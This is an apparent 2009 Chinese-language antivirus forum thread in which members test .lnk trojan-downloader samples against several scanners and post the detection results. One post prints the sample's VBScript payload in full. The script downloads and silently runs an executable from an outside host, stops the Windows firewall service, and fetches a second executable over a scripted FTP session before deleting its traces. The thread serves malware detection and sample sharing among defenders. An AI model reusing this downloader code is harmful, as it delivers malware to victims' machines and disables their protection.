lnk malware (2009/1/27)

显示全部楼层 · 发表于 2009-1-27 11:07:16

McAfee全殺。。。。

報的都是：Generic Downloader.cw

PS:請下載完解壓縮後在掃,裡面有４個樣本！！

還不能報的...就上報吧!!

显示全部楼层 · 发表于 2009-1-27 11:11:37

TO KL1

显示全部楼层 · 发表于 2009-1-27 11:20:51

那作者挺牛 ms把F:\都ftp了。。

---------------------------

---------------------------
Set Post = CreateObject("Msxml2.XMLHTTP")

Set Shell = CreateObject("Wscript.Shell")

Post.Open "GET","http://www.newlookyahoo.tw/muma/a01-1.exe",0

Post.Send()

Set aGet = CreateObject("ADODB.Stream")

aGet.Mode = 3

aGet.Type = 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile "c:\kuruna.exe",2

Set ws = CreateObject("Wscript.Shell")

ws.run "cmd /c c:\kuruna.exe",0

ws.run "cmd /c net stop sharedaccess&echo open yanzi8899.3322.org>>t.t&echo 123>>t.t&echo 123>>t.t&echo get lineaga.exe C:\lineaga.exe>>t.t&echo bye>>t.t&ftp -s:t.t&del t.t&c:\lineaga.exe&del %windir%\link.vbs&del c:\lineaga.exe&del c:\kuruna.exe",0

---------------------------
确定
---------------------------

显示全部楼层 · 发表于 2009-1-27 11:20:55

扫描系统区域...
扫描所选择的目录和文件...
对象: MAL.lnk
路径: E:\收集区\09-1-27\malware
Status: 已发现病毒
病毒: Trojan-Downloader.Win32.Pif.jd (KAV 引擎)
对象: mal2.lnk
路径: E:\收集区\09-1-27\malware
Status: 已发现病毒
病毒: Trojan-Downloader.Win32.Pif.hy (KAV 引擎)
对象: mal4.lnk
路径: E:\收集区\09-1-27\malware
Status: 已发现病毒
病毒: Trojan-Downloader.Win32.Pif.gd (KAV 引擎)

显示全部楼层 · 发表于 2009-1-27 12:14:16

to kv2009

显示全部楼层 · 发表于 2009-1-27 12:24:26

Ka8 Miss 1
貌似不用上报了

显示全部楼层 · 发表于 2009-1-27 12:25:26

ug6 alled

显示全部楼层 · 发表于 2009-1-27 13:20:52

only one。

Begin scan in 'G:\malware.rar'
G:\malware.rar
[0] Archive type: RAR
--> mal2.lnk
[DETECTION] Is the TR/Dldr.PIF.HY Trojan
[WARNING] The file was ignored!

显示全部楼层 · 发表于 2009-1-27 13:43:35

a-squared Anti-Malware 4.0.0.72
miss~~Found nothing

显示全部楼层 · 发表于 2009-1-28 00:49:08

kis6.0

[病毒样本] lnk malware (2009/1/27)

本帖子中包含更多资源

本帖子中包含更多资源